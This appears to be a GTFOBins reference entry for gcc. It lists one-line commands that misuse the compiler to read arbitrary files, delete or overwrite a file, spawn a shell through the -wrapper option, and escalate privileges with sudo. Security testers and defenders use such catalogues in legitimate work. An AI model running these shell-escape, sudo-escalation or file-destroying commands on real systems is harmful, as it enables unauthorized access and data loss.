GTFOBins.github.io/_gtfobins/gcc.md

572 B

functions
file-read file-write shell sudo
code
LFILE=file_to_read gcc -x c -E "$LFILE"
description code
The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data. LFILE=file_to_read gcc @"$LFILE"
code
LFILE=file_to_delete gcc -xc /dev/null -o $LFILE
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .